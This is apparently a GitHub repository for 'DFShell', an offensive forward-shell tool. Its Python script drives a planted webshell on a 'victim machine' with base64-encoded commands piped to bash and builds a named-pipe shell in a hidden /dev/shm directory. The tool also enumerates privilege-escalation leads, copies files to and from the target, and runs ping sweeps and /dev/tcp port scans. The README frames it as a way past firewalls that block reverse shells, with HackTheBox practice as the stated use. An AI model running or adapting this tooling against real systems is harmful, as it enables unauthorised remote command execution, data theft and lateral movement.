├── .gitignore ├── CHANGELOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── dfshell.py ├── images ├── demo1.png ├── demo2.png └── demo3.png ├── requirements.txt └── webshell.php /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .vscode 3 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | - Update README.md 2 | - Add files via upload 3 | - Update README.md 4 | - Update README.md 5 | - Add files via upload 6 | - Update README.md 7 | - Add files via upload 8 | - Add files via upload 9 | - Update README.md 10 | - Add files via upload 11 | - Add files via upload 12 | - Update README.md 13 | - Add files via upload 14 | - Add files via upload 15 | - Update cve-2022-0847.c 16 | - Delete utils directory 17 | - Add files via upload 18 | - Add files via upload 19 | - Add files via upload 20 | - Update DFShell.py 21 | - Update DFShell.py 22 | - Update DFShell.py 23 | - Update DFShell.py 24 | - Update DFShell.py 25 | - Update DFShell.py 26 | - Update README.md 27 | - Delete test 28 | - Add files via upload 29 | - Create test 30 | - Update README.md 31 | - Add files via upload 32 | - Create webshell.php 33 | - Create requirements.txt 34 | - Update README.md 35 | - Initial commit 36 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as 6 | contributors and maintainers pledge to making participation in our project and 7 | our community a harassment-free experience for everyone, regardless of age, body 8 | size, disability, ethnicity, gender identity and expression, level of experience, 9 | education, socio-economic status, nationality, personal appearance, race, 10 | religion, or sexual identity and orientation. 11 | 12 | ## Our Standards 13 | 14 | Examples of behavior that contributes to creating a positive environment 15 | include: 16 | 17 | * Using welcoming and inclusive language 18 | * Being respectful of differing viewpoints and experiences 19 | * Gracefully accepting constructive criticism 20 | * Focusing on what is best for the community 21 | * Showing empathy towards other community members 22 | 23 | Examples of unacceptable behavior by participants include: 24 | 25 | * The use of sexualized language or imagery and unwelcome sexual attention or 26 | advances 27 | * Trolling, insulting/derogatory comments, and personal or political attacks 28 | * Public or private harassment 29 | * Publishing others' private information, such as a physical or electronic 30 | address, without explicit permission 31 | * Other conduct which could reasonably be considered inappropriate in a 32 | professional setting 33 | 34 | ## Our Responsibilities 35 | 36 | Project maintainers are responsible for clarifying the standards of acceptable 37 | behavior and are expected to take appropriate and fair corrective action in 38 | response to any instances of unacceptable behavior. 39 | 40 | Project maintainers have the right and responsibility to remove, edit, or 41 | reject comments, commits, code, wiki edits, issues, and other contributions 42 | that are not aligned to this Code of Conduct, or to ban temporarily or 43 | permanently any contributor for other behaviors that they deem inappropriate, 44 | threatening, offensive, or harmful. 45 | 46 | ## Scope 47 | 48 | This Code of Conduct applies both within project spaces and in public spaces 49 | when an individual is representing the project or its community. Examples of 50 | representing a project or community include using an official project e-mail 51 | address, posting via an official social media account, or acting as an appointed 52 | representative at an online or offline event. Representation of a project may be 53 | further defined and clarified by project maintainers. 54 | 55 | ## Enforcement 56 | 57 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 58 | reported by contacting the project team at [d3ext@proton.me]. All 59 | complaints will be reviewed and investigated and will result in a response that 60 | is deemed necessary and appropriate to the circumstances. The project team is 61 | obligated to maintain confidentiality with regard to the reporter of an incident. 62 | Further details of specific enforcement policies may be posted separately. 63 | 64 | Project maintainers who do not follow or enforce the Code of Conduct in good 65 | faith may face temporary or permanent repercussions as determined by other 66 | members of the project's leadership. 67 | 68 | ## Attribution 69 | 70 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 71 | available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html 72 | 73 | [homepage]: https://www.contributor-covenant.org 74 | 75 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to DFShell 2 | 3 | Contributions are welcomed! This document provides some basic guidelines for contributors. 4 | 5 | ## Found a bug? 6 | 7 | - Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one. 8 | - Include the problem description in the issue. 9 | 10 | ## Pull Requests 11 | 12 | When creating a PR, please follow these guidelines: 13 | 14 | - Link your PR to the corresponding issue. 15 | - Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be. 16 | - Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible. 17 | - Include steps for functional testing or replication. 18 | 19 | ## Questions 20 | 21 | If you have any questions or need further guidance, please feel free to ask in the issue or PR, or reach out to the author via Discord: ***@d3ext*** 22 | 23 | Thank you for your contribution! 24 | 25 | ## License 26 | 27 | By contributing your code, you agree to license your contribution under the terms of the [MIT License](https://github.com/D3Ext/DFShell/blob/main/LICENSE). 28 | 29 | All files are released with the MIT license. 30 | 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 D3Ext 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗ 3 | ██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║ 4 | ██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║ 5 | ██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║ 6 | ██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗ 7 | ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ 8 | ``` 9 | 10 | # Introduction 11 | 12 | ***D3Ext's Forward Shell*** it's a python3 script which use mkfifo to simulate a shell into the victim machine. It creates a hidden directory in /dev/shm/.fs/ where the fifos are stored. You can even simulate a TTY over the webshell. 13 | 14 | # Explanation 15 | 16 | This forward shell creates a shell that accepts commands via a ***Named Pipe (mkfifo)*** and outputs the results to a file. By doing this the shell does not require a persistent network connection so you can establish a proper TTY behind a firewall that blocks reverse/bind shells. 17 | 18 | 1. Create a named pipe on target server 19 | 2. Read and execute commands received from named pipe 20 | 3. Save STDOUT and STDERR to output file 21 | 4. Return to 2nd step and read from named pipe again 22 | 23 | # Features 24 | 25 | - Fast and configurable 26 | - Integrated powerful commands 27 | - Interactive TTY shell 28 | 29 | # Installation 30 | 31 | > Install from source 32 | ```sh 33 | git clone https://github.com/D3Ext/DFShell 34 | cd DFShell 35 | pip3 install -r requirements.txt 36 | ``` 37 | 38 | > Install with pip 39 | ```sh 40 | pip3 install dfshell 41 | ``` 42 | 43 | # Usage 44 | 45 | ***DFShell*** has a variety of CLI parameters to improve configuration of the forward shell. 46 | 47 | > Help panel 48 | ``` 49 | usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE] 50 | 51 | D3Ext's Forward Shell - Enhanced forward shell with integrated commands 52 | 53 | optional arguments: 54 | -h, --help show this help message and exit 55 | -u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php) 56 | -p PARAMETER, --parameter PARAMETER 57 | parameter of the webshell to execute commands (i.e. cmd) 58 | -t TIMEOUT, --timeout TIMEOUT 59 | timeout of requests that execute commands (default 20s) 60 | --path PATH path in which to create named pipes (default /dev/shm/.fs) 61 | -v VERBOSE, --verbose VERBOSE 62 | print more information 63 | ``` 64 | 65 | It sends GET requests to given URL, so the webshell should be something like this: 66 | 67 | ```php 68 | 74 | ``` 75 | 76 | Tested on ***Parrot OS*** with an Apache server 77 | 78 | If you want to test this tool in controlled environments, here is a list of HackTheBox machines in which firewall rules are applied on web server, so forward shell is a great alternative to directly go through privilege escalation. 79 | 80 | - ***Inception*** 81 | - ****** 82 | - ****** 83 | - ****** 84 | - ****** 85 | 86 | # Demo 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | # References 95 | 96 | Thanks to @ippsec for this awesome technique 97 | 98 | ``` 99 | https://github.com/IppSec/forward-shell 100 | https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell 101 | https://www.f5.com/labs/learning-center/forward-and-reverse-shells 102 | https://github.com/Hypnoze57/FShell 103 | https://s4vitar.github.io/ttyoverhttp/ 104 | ``` 105 | 106 | # Contributing 107 | 108 | See [CONTRIBUTING.md](https://github.com/D3Ext/DFShell/blob/main/CONTRIBUTING.md) 109 | 110 | # Changelog 111 | 112 | See [CHANGELOG.md](https://github.com/D3Ext/DFShell/blob/main/CHANGELOG.md) 113 | 114 | # License 115 | 116 | This project is under MIT license 117 | 118 | Copyright © 2023, *D3Ext* 119 | 120 | # Support 121 | 122 | Buy Me A Coffee 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /dfshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # ------------------------------------ 4 | # Github: https://github.com/D3Ext 5 | # Blog: https://d3ext.github.io 6 | # Discord: @d3ext 7 | # Twitter: @d3ext 8 | # ------------------------------------ 9 | 10 | # Packages 11 | import requests 12 | import signal 13 | import sys 14 | import time 15 | import argparse, re 16 | from base64 import b64encode, b64decode 17 | from random import randrange 18 | 19 | # Katana banner 20 | global mybanner 21 | mybanner = '''\n /\ ______,....----, 22 | /VVVVVVVVVVVVVV|==================="""""""""""" ___,..-\' 23 | `^^^^^^^^^^^^^^|======================----------"""""" 24 | \/ with <3 by D3Ext 25 | v0.2''' 26 | 27 | # Global Variables 28 | global pipes_path, infile, outfile, mod, command_to_exec, tty, user, hostname, requests_timeout 29 | mod = randrange(1, 9999) 30 | 31 | # Colors 32 | class c: 33 | PURPLE = '\033[95m' 34 | BLUE = '\033[94m' 35 | CYAN = '\033[96m' 36 | GREEN = '\033[92m' 37 | YELLOW = '\033[93m' 38 | RED = '\033[91m' 39 | END = '\033[0m' 40 | UNDERLINE = '\033[4m' 41 | 42 | # Ctrl + C Function 43 | def exit_handler(sig, frame): 44 | print(c.BLUE + "\n\n[" + c.YELLOW + "!" + c.BLUE + "] Interrupt handler received, exiting..." + c.END) 45 | removeFiles(url, parameter) 46 | sys.exit(0) 47 | 48 | signal.signal(signal.SIGINT, exit_handler) 49 | 50 | # Remove input and output files on exit 51 | def removeFiles(url, parameter): 52 | removeCommand = f"""rm -rf {pipes_path}""" 53 | base64command = b64encode(removeCommand.encode()).decode() 54 | 55 | removeData = { 56 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash' 57 | } 58 | 59 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Deleting named pipes..." + c.END) 60 | requests.get(url, params=removeData, timeout=requests_timeout) 61 | 62 | # Arguments parser function 63 | def parseArgs(): 64 | p = argparse.ArgumentParser(description="D3Ext's Forward Shell - Enhanced forward shell with integrated commands") 65 | p.add_argument('-u', '--url', help="url of the webshell (i.e. http://10.10.10.10/webshell.php)", required=True) 66 | p.add_argument('-p', '--parameter', help="parameter of the webshell to execute commands (i.e. cmd)", required=True) 67 | p.add_argument('-t', '--timeout', help="timeout of requests that execute commands (default 20s)", type=int, default=20, required=False) 68 | p.add_argument('--path', help="path in which to create named pipes (default /dev/shm/.fs)", type=str, default="/dev/shm/.fs", required=False) 69 | p.add_argument('-v', '--verbose', help="print more information", required=False) 70 | 71 | return p.parse_args() 72 | 73 | # Check if url receives requests 74 | def checkConn(url): 75 | try: 76 | r = requests.get(url, timeout=4) 77 | if r.status_code == 200: 78 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Connection established succesfully!" + c.END) 79 | else: 80 | print(c.BLUE + "\n[" + c.YELLOW + "-" + c.BLUE + "] Connection refused!\n" + c.END) 81 | sys.exit(0) 82 | except: 83 | print(c.BLUE + "\n[" + c.YELLOW + "-" + c.BLUE + "] Connection refused!\n" + c.END) 84 | sys.exit(0) 85 | 86 | # Function to create the fifos on the victim (required to have an interactive tty) 87 | def createFifos(url, parameter): 88 | 89 | # Create directory with the files in {pipes_path} 90 | raw_command = f"""mkdir {pipes_path}""" 91 | execCommandWithoutFifos(url, parameter, raw_command) 92 | 93 | # Create input and output files under {pipes_path} 94 | try: 95 | raw_command = f"""mkfifo {infile}; tail -f {infile} | /bin/sh 2>&1 > {outfile}""" 96 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8') 97 | 98 | fifosData = { 99 | f'{parameter}': f'echo "{base64command}" | base64 -d | bash' 100 | } 101 | 102 | print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + f"""] Creating named pipes on target system under {pipes_path}/""" + c.END) 103 | requests.get(url, params=fifosData, timeout=4) 104 | 105 | except: 106 | None 107 | 108 | return None 109 | 110 | # Function to read the file with the executed commands 111 | def readCommand(url, parameter): 112 | raw_command = f"""/bin/cat {outfile}""" 113 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8') 114 | 115 | readData = { 116 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash' 117 | } 118 | 119 | r = requests.get(url, params=readData, timeout=requests_timeout) 120 | 121 | return r.text 122 | 123 | # Function to clear the output file with every command 124 | def clearOutput(url, parameter): 125 | raw_command = f"""echo '' > {outfile}""" 126 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8') 127 | 128 | clearData = { 129 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash' 130 | } 131 | 132 | requests.get(url, params=clearData, timeout=requests_timeout) 133 | 134 | # Function to execute commands after creating the fifos 135 | def execCommand(url, parameter, command): 136 | base64command = b64encode(command.encode('utf-8')).decode('utf-8') 137 | 138 | rce_data = { 139 | f"{parameter}": f'echo "{base64command}" | base64 -d > {infile}' 140 | } 141 | 142 | requests.get(url, params=rce_data, timeout=requests_timeout) 143 | 144 | # Function to execute especial commands without the fifos and returning them 145 | def execCommandWithoutFifos(url, parameter, command): 146 | base64command = b64encode(command.encode('utf-8')).decode('utf-8') 147 | 148 | rce_data = { 149 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash' 150 | } 151 | 152 | r = requests.get(url, params=rce_data, timeout=requests_timeout) 153 | 154 | return r.text 155 | 156 | # Function to check useful binaries on the victim 157 | def getBinaries(url, parameter): 158 | raw_command = """which ping nmap aws nc ncat netcat nc.traditional wget curl gcc make gdb base64 socat python python2 python3 python2.7 python3.7 perl php ruby xterm sudo docker lxc 2>/dev/null""" 159 | base64command = b64encode(raw_command.encode('utf-8')).decode('utf-8') 160 | 161 | enum_data = { 162 | f"{parameter}": f'echo "{base64command}" | base64 -d | bash' 163 | } 164 | 165 | r = requests.get(url, params=enum_data, timeout=requests_timeout) 166 | 167 | return r.text 168 | 169 | # Function to enumerate the system 170 | def enumSys(url, parameter): 171 | user = execCommandWithoutFifos(url, parameter, "whoami") 172 | 173 | hostname = execCommandWithoutFifos(url, parameter, "hostname") 174 | 175 | ip = execCommandWithoutFifos(url, parameter, "hostname -I") 176 | 177 | uname = execCommandWithoutFifos(url, parameter, "uname -a") 178 | 179 | id_output = execCommandWithoutFifos(url, parameter, "id") 180 | 181 | users = execCommandWithoutFifos(url, parameter, "ls /home") 182 | users = cleanHTML(users) 183 | users = users.strip('\n').replace('\n', ', ') 184 | 185 | path = execCommandWithoutFifos(url, parameter, "echo $PATH") 186 | 187 | sudo_version = execCommandWithoutFifos(url, parameter, """sudo --version 2>/dev/null | head -n 1 | awk '{print $NF}'""") 188 | 189 | return user, hostname, ip, uname, id_output, users, path, sudo_version 190 | 191 | # Function to upload files 192 | def uploadFile(url, parameter, file_to_upload): 193 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Uploading file to the server" + c.END) 194 | fileContent = open(file_to_upload, "r").read() 195 | base64file = b64encode(fileContent.encode()).decode() 196 | upload_command = f"""echo {base64file} | base64 -d > {pipes_path}/{file_to_upload}""" 197 | 198 | uploadData = { 199 | f"{parameter}": f"{upload_command}" 200 | } 201 | 202 | requests.get(url, params=uploadData, timeout=requests_timeout) 203 | 204 | time.sleep(1) 205 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + f"] {file_to_upload} uploaded successfully in {pipes_path}/{file_to_upload}\n" + c.END) 206 | 207 | # Function to download a file 208 | def downloadFile(url, parameter, file_to_download): 209 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Downloading file from server" + c.END) 210 | download_command = f"""base64 -w 0 {file_to_download}""" 211 | base64command = b64encode(download_command.encode()).decode() 212 | 213 | downloadData = { 214 | f"{parameter}": f"echo {base64command} | base64 -d | bash" 215 | } 216 | 217 | r = requests.get(url, params=downloadData, timeout=requests_timeout) 218 | 219 | time.sleep(1) 220 | fileContent = cleanHTML(r.text) 221 | fileContent = b64decode(fileContent).decode() 222 | 223 | stored_file = file_to_download.split('/')[-1] 224 | f = open(f"{stored_file}", "w") 225 | f.write(fileContent) 226 | f.close() 227 | 228 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + f"] File successfully downloaded as {stored_file}\n" + c.END) 229 | 230 | # Perform a basic ping sweep to detect active IPs 231 | def hostScan(url, parameter, ip): 232 | 233 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Performing host discovery, system must have 'ping' installed\n" + c.END) 234 | raw_command = """for number in $(seq 1 254); do timeout 1 bash -c "ping -c 1 %s.${number}" &>/dev/null && echo -e "%s.${number}" >> /dev/shm/.fs/logs.tmp & done""" % (ip, ip) 235 | base64command = b64encode(raw_command.encode()).decode() 236 | 237 | hostData = { 238 | f"{parameter}": f"echo {base64command} | base64 -d | bash" 239 | } 240 | 241 | r = requests.get(url, params=hostData, timeout=requests_timeout) 242 | 243 | raw_command = f"""cat {pipes_path}/logs.tmp""" 244 | base64command = b64encode(raw_command.encode()).decode() 245 | 246 | hostData = { 247 | f"{parameter}": f"echo {base64command} | base64 -d | bash" 248 | } 249 | 250 | r = requests.get(url, params=hostData, timeout=requests_timeout) 251 | 252 | data = cleanHTML(r.text) 253 | if data: 254 | print(c.YELLOW + "Hosts" + c.END) 255 | print(c.YELLOW + "-----" + c.END) 256 | print(data) 257 | else: 258 | print(c.BLUE + "[" + c.END + c.YELLOW + "-" + c.END + c.BLUE + "] No hosts discovered\n" + c.END) 259 | 260 | # Function to discover open ports on especified ip 261 | def portScan(url, parameter, ip): 262 | 263 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Starting port discovery, no requirements are needed\n" + c.END) 264 | raw_command = """for port in $(seq 1 5000); do timeout 1 bash -c "(echo '' > /dev/tcp/%s/${port})" 2>/dev/null && echo -e "${port}" & done""" % (ip) 265 | base64command = b64encode(raw_command.encode()).decode() 266 | 267 | portData = { 268 | f"{parameter}": f"echo {base64command} | base64 -d | bash" 269 | } 270 | 271 | r = requests.get(url, params=portData, timeout=requests_timeout) 272 | 273 | data = cleanHTML(r.text) 274 | if data: 275 | print(c.YELLOW + "Ports" + c.END) 276 | print(c.YELLOW + "-----" + c.END) 277 | print(data) 278 | else: 279 | print(c.BLUE + "[" + c.YELLOW + "-" + c.BLUE + "] No ports discovered\n" + c.END) 280 | 281 | # Clean RCE output 282 | def cleanHTML(out): 283 | clean = re.compile('<.*?>') 284 | cleanout = re.sub(clean, '', out) 285 | try: 286 | if tty == True: 287 | cleanout = cleanout.split(f'\x00{command_to_exec}')[1] 288 | cfile = open("/dev/shm/.clean", "w") 289 | cfile.write(cleanout) 290 | cfile.close() 291 | 292 | cleanout = open("/dev/shm/.clean", "r").read() 293 | cleanout = "\n".join(cleanout.split("\n")[:-1]) 294 | except: 295 | pass 296 | 297 | return cleanout 298 | 299 | # Main Function 300 | if __name__ == '__main__': 301 | 302 | # Parse arguments and declare variables 303 | parser = parseArgs() 304 | 305 | url = parser.url 306 | parameter = parser.parameter 307 | verbose = parser.verbose 308 | requests_timeout = parser.timeout 309 | pipes_path = parser.path 310 | 311 | if pipes_path.endswith('/'): 312 | pipes_path = pipes_path[:-1] 313 | 314 | # Define named pipes files 315 | infile = f"{pipes_path}/input.{mod}" 316 | outfile = f"{pipes_path}/output.{mod}" 317 | 318 | # Print banner 319 | print(c.YELLOW + mybanner + c.END) 320 | 321 | # Check connections to the webshell 322 | checkConn(url) 323 | 324 | # Create an interactive shell 325 | createFifos(url, parameter) 326 | print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Gathering target information to establish an interactive shell..." + c.END) 327 | 328 | user = execCommandWithoutFifos(url, parameter, "whoami") 329 | hostname = execCommandWithoutFifos(url, parameter, "hostname") 330 | 331 | user = cleanHTML(user) 332 | hostname = cleanHTML(hostname) 333 | 334 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Type dfs-help to see custom commands\n" + c.END) 335 | 336 | customCommands = ["dfs-help", "dfs-enum", "dfs-exit", "dfs-binaries", "dfs-download", "dfs-upload", "dfs-hostscan", "dfs-portscan", "dfs-tty"] 337 | 338 | command_to_exec = "" 339 | first_command = False 340 | 341 | # Loop to execute commands 342 | while True: 343 | # Check if user has changed to update the shell prompt 344 | try: 345 | if command_to_exec == "sh": 346 | execCommand(url, parameter, "whoami" + "\n") 347 | user = readCommand(url, parameter) 348 | user = cleanHTML(user) 349 | user = user.split("whoami")[1][:-4].replace("\n", "").replace("\r", "") 350 | clearOutput(url, parameter) 351 | 352 | execCommand(url, parameter, "hostname" + "\n") 353 | hostname = readCommand(url, parameter) 354 | hostname = cleanHTML(hostname) 355 | hostname = hostname.split("hostname")[1][:-4].replace("\n", "").replace("\r", "") 356 | clearOutput(url, parameter) 357 | 358 | except: 359 | pass 360 | 361 | # Custom prompt 362 | if user == "root": 363 | command_to_exec = input(user.strip('\n') + "@" + hostname.strip('\n') + ":~# ") 364 | else: 365 | command_to_exec = input(user.strip('\n') + "@" + hostname.strip('\n') + ":~$ ") 366 | 367 | # Here check introduced commands 368 | if command_to_exec == "dfs-help": 369 | print(c.YELLOW + "\nCommands\t\tDescription" + c.END) 370 | print(c.YELLOW + "--------\t\t-----------" + c.END) 371 | print(c.BLUE + "dfs-tty\t\t\tupgrade your shell with an interactive TTY (recommended)" + c.END) 372 | print(c.BLUE + "dfs-enum\t\tenumerate potential privesc information on system (users, groups, system info...)" + c.END) 373 | print(c.BLUE + "dfs-upload\t\tupload a local file to remote server" + c.END) 374 | print(c.BLUE + "dfs-download\t\tdownload specified file from remote server" + c.END) 375 | print(c.BLUE + "dfs-binaries\t\tsearch common binaries that can be used during pentest" + c.END) 376 | print(c.BLUE + "dfs-hostscan\t\tscan active hosts in a valid range (i.e. 192.168.1)" + c.END) 377 | print(c.BLUE + "dfs-portscan\t\tscan 5000 most common ports of a ip (i.e. 192.168.1.1)" + c.END) 378 | print(c.BLUE + "dfs-exit\t\texit from forward shell and delete files created on remote server\n" + c.END) 379 | 380 | if command_to_exec == "dfs-tty": 381 | tty = True 382 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Creating a fully interactive TTY" + c.END) 383 | 384 | execCommand(url, parameter, """script /dev/null -c sh""" + "\n") 385 | clearOutput(url, parameter) 386 | 387 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Shell upgraded successfully\n" + c.END) 388 | 389 | if command_to_exec == "dfs-enum": 390 | print(c.BLUE + "\n[" + c.YELLOW + "*" + c.BLUE + "] Enumerating system, please wait a few seconds..." + c.END) 391 | user, hostname, ip, uname, id_output, users, path, sudo_version = enumSys(url, parameter) 392 | 393 | suid = execCommandWithoutFifos(url, parameter, """timeout 13 bash -c 'find / \-perm -4000 2>/dev/null'""") 394 | 395 | user = cleanHTML(user) 396 | hostname = cleanHTML(hostname) 397 | ip = cleanHTML(ip) 398 | uname = cleanHTML(uname) 399 | id_output = cleanHTML(id_output) 400 | users = cleanHTML(users) 401 | path = cleanHTML(path) 402 | sudo_version = cleanHTML(sudo_version) 403 | suid = cleanHTML(suid) 404 | 405 | print(c.YELLOW + "\nInformation" + c.END) 406 | print(c.YELLOW + "-----------" + c.END) 407 | print(c.BLUE + "Current user: " + user.strip('\n') + c.END) 408 | print(c.BLUE + "ID and groups: " + id_output.strip('\n') + c.END) 409 | print(c.BLUE + "Path: " + path.strip('\n') + c.END) 410 | print(c.BLUE + "Hostname: " + hostname.strip('\n') + c.END) 411 | print(c.BLUE + "IP: " + ip.strip('\n') + c.END) 412 | print(c.BLUE + "Users in /home: " + users + c.END) 413 | if sudo_version: 414 | print(c.BLUE + "Sudo version: " + sudo_version.strip('\n') + c.END) 415 | else: 416 | print(c.BLUE + "Sudo version: Not found" + c.END) 417 | 418 | print(c.BLUE + "System info: " + uname + c.END) 419 | print(c.YELLOW + "SUID Files" + c.END) 420 | print(c.YELLOW + "----------" + c.END) 421 | print(c.BLUE + suid + c.END) 422 | 423 | raw_command = """cat /proc/net/tcp | grep -v "sl" | awk '{print $3}' FS=":" | awk '{print $1}' | sort -u""" 424 | hex_ports = execCommandWithoutFifos(url, parameter, raw_command) 425 | hex_ports = cleanHTML(hex_ports) 426 | 427 | print(c.YELLOW + "Local ports" + c.END) 428 | print(c.YELLOW + "-----------" + c.END) 429 | for port in hex_ports.strip('\n').split('\n'): 430 | print(c.BLUE + str(int(port, 16)) + c.END) 431 | print('') 432 | 433 | if command_to_exec == "dfs-hostscan": 434 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Provide a valid ip range" + c.END) 435 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-hostscan 192.168.1\n" + c.END) 436 | 437 | try: 438 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-hostscan": 439 | ip = command_to_exec.split(' ')[1] 440 | hostScan(url, parameter, ip) 441 | except: 442 | pass 443 | 444 | 445 | if command_to_exec == "dfs-portscan": 446 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Provide a valid ip" + c.END) 447 | print(c.BLUE + "[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-portscan 192.168.1.2\n" + c.END) 448 | 449 | try: 450 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-portscan": 451 | ip = command_to_exec.split(' ')[1] 452 | portScan(url, parameter, ip) 453 | except: 454 | pass 455 | 456 | if command_to_exec == "dfs-binaries": 457 | binList = getBinaries(url, parameter) 458 | binList = cleanHTML(binList) 459 | print(c.YELLOW + "\nUseful Binaries" + c.END) 460 | print(c.YELLOW + "---------------" + c.END) 461 | print(c.BLUE + binList + c.END) 462 | 463 | # Upload panel and function 464 | if command_to_exec == "dfs-upload": 465 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-upload file.txt" + c.END) 466 | print(c.BLUE + "[" + c.YELLOW + "!" + c.BLUE + "] Doesn't work with binaries\n" + c.END) 467 | 468 | try: 469 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-upload": 470 | file_to_upload = command_to_exec.split(' ')[1] 471 | uploadFile(url, parameter, file_to_upload) 472 | except: 473 | pass 474 | 475 | # Download panel and function 476 | if command_to_exec == "dfs-download": 477 | print(c.BLUE + "\n[" + c.YELLOW + "+" + c.BLUE + "] Example: dfs-download /path/to/the/file" + c.END) 478 | print(c.BLUE + "[" + c.YELLOW + "!" + c.BLUE + "] Doesn't work with binaries\n" + c.END) 479 | 480 | try: 481 | if command_to_exec.split(' ')[1] and command_to_exec.split(' ')[0] == "dfs-download": 482 | file_to_download = command_to_exec.split(' ')[1] 483 | downloadFile(url, parameter, file_to_download) 484 | except: 485 | pass 486 | 487 | if command_to_exec == "dfs-exit": 488 | print() 489 | removeFiles(url, parameter) 490 | print(c.BLUE + "[" + c.YELLOW + "*" + c.BLUE + "] Quitting from shell, bye!\n" + c.END) 491 | sys.exit(0) 492 | 493 | if command_to_exec.split(' ')[0] not in customCommands: 494 | # Execute especified command 495 | execCommand(url, parameter, command_to_exec + "\n") 496 | 497 | # Read command output 498 | resp = readCommand(url, parameter) 499 | 500 | # Print command output 501 | resp = cleanHTML(resp) 502 | 503 | if first_command == False: 504 | print() 505 | 506 | 507 | first_command = True 508 | 509 | # Check if dfs-tty has been executed 510 | try: 511 | if tty == True: 512 | print("\n" + resp.strip('\n') + "\n") 513 | except: 514 | print(resp) 515 | 516 | # Clear the file of the output 517 | clearOutput(url, parameter) 518 | 519 | 520 | 521 | -------------------------------------------------------------------------------- /images/demo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/DFShell/91da98a13c8284997fe2767079329c6a08d0108c/images/demo1.png -------------------------------------------------------------------------------- /images/demo2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/D3Ext/DFShell/91da98a13c8284997fe2767079329c6a08d0108c/images/demo2.png -------------------------------------------------------------------------------- /images/demo3.png: -------------------------------------------------------------------------------- 